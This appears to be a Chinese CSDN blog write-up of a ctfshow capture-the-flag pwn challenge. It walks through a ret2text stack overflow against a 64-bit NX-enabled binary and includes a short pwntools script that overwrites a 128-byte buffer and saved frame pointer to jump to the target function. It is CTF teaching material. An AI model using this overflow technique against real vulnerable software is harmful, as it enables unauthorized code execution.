ctfshow 01栈溢出之ret2text

文章描述了一种针对开启NX保护的64位程序进行分析的场景。通过使用IDA查看文件和ctfshow函数的地址,确定了payload的构建方法。payload由128个A字符和8个B字符以及目标地址构成,用于覆盖特定函数,从而触发exploit。最终,将payload发送给程序并进入交互模式。
摘要由CSDN通过智能技术生成

信息收集

在这里插入图片描述
file查看文件为64位,同时checksec表明开启了NX保护,所以排除re2shellcode办法,再根据题目提示,锁定目标re2test

IDA

在这里插入图片描述
明确目标要替换返回到ctfshow函数
在这里插入图片描述
汇编模式下可查看其起始地址为38

而在main函数中,我们关注welcome函数
在这里插入图片描述
查看其变量s大小进行覆盖
在这里插入图片描述
根据上下s计算,其大小为0x80(转化十进制128)

构造payload

from pwn import *

ghust = process('./pwn')
# ghust = remote("node4.buuoj.cn",26246) 
addr = 0x400638

payload = b'A' * 128 + b'B'*8 + p64(addr)

ghust.sendline(payload)
ghust.interactive()

搞定

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

G_BEST

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值